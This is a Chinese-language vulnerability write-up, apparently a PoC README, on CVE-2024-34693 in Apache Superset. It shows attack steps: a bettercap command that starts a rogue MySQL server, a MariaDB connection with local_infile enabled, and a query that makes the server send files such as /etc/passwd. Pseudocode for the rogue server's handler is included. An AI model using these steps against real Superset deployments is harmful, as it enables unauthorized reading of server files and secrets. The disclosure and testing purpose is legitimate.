Apache Superset 任意文件读取漏洞(CVE-2024-34693)分析与利用指南

3 阅读3分钟

CVE-2024-34693: Apache Superset 服务器任意文件读取漏洞

项目描述

本项目公开了关于 CVE-2024-34693 漏洞的详细信息与利用概念验证。该漏洞存在于 Apache Superset 中,由于不充分的输入验证,经过身份验证的攻击者可以创建一个启用 local_infile 的 MariaDB 数据库连接。通过将客户端指向恶意的 MySQL 服务器,攻击者可以发起 “LOAD DATA LOCAL INFILE” 攻击(即恶意 MySQL 服务器攻击),从而读取服务器上的任意文件,并将其内容插入到 MariaDB 数据库表中。

此漏洞影响使用特定配置的 Apache Superset 实例,允许攻击者在具备基本权限的情况下实现敏感文件读取。

功能特性

  • 漏洞分析:完整解释 CVE-2024-34693 的成因与攻击路径。
  • 攻击演示:展示如何通过创建恶意 MariaDB 连接来触发文件读取。
  • 防御建议:提供缓解措施与最佳实践指导。
  • 相关资源整合:收集供应商披露、攻击框架和深度技术文章。

安装指南

由于本项目为漏洞分析和概念验证(PoC)文档,不涉及软件安装。如需复现漏洞,请准备以下环境:

系统要求

  • 存在漏洞的 Apache Superset 版本(具体版本请参考供应商披露)
  • 具有创建数据库连接权限的 Superset 用户凭据
  • 或者能够绕过认证的 Flask Secret

依赖项

  • 任意支持 MySQL/MariaDB 协议的服务端(用于恶意服务器模拟)
  • Bettercap(可选,用于快速搭建恶意 MySQL 服务器)

使用说明

基础攻击流程

  1. 准备恶意 MySQL 服务器
    使用 Bettercap 启动 rogue MySQL 服务器:

    sudo bettercap -eval "mysql.server on"
    
  2. 在 Superset 中创建数据库连接
    登录 Superset,创建一个新的 MariaDB 数据库连接,在连接参数中启用 local_infile

  3. 指向恶意服务器
    将数据库主机地址设置为你的恶意 MySQL 服务器 IP。

  4. 触发读取
    执行任意查询(如 SELECT 1),恶意服务器响应 LOAD DATA LOCAL INFILE 请求,从而读取 Superset 服务器上的文件(如 /etc/passwd)。

典型场景

  • 渗透测试中对 Apache Superset 实例进行安全评估。
  • 验证内部 Superset 部署是否受该漏洞影响。

API / 配置概览

  • 受影响组件:Apache Superset 数据库连接模块(MySQL/MariaDB)
  • 关键配置参数local_infile 的启用
  • 攻击类型:SSRF-like 文件读取

核心代码

以下伪代码演示了漏洞触发的核心原理(模拟恶意 MySQL 服务器的响应逻辑):

# 恶意 MySQL 服务器核心响应片段(模拟)
def handle_client(self, client_socket):
    # 接收 Superset 发送的初始握手包
    # 发送服务器问候包
    client_socket.send(greeting_packet)
    
    # 接收登录认证请求
    auth_packet = client_socket.recv(1024)
    
    # 发送认证成功响应
    client_socket.send(ok_packet)
    
    # 等待查询命令
    query_packet = client_socket.recv(1024)
    
    # 响应 LOAD DATA LOCAL INFILE 请求,指定要读取的文件
    load_data_packet = build_load_data_infile_packet("/etc/passwd")
    client_socket.send(load_data_packet)
    
    # 接收文件内容
    file_content = client_socket.recv(8192)
    
    # 可选:返回正常响应以维持连接
    client_socket.send(ok_packet)
# 构建恶意 LOAD DATA LOCAL INFILE 响应包的辅助函数
def build_load_data_infile_packet(filename):
    # 伪代码 - 实际需按 MySQL 协议构造
    packet = bytearray()
    packet.append(0xFB)  # 标记为 LOAD DATA LOCAL INFILE 请求
    packet.extend(filename.encode('utf-8'))
    packet.append(0x00)  # 结束符
    return packet

附加资源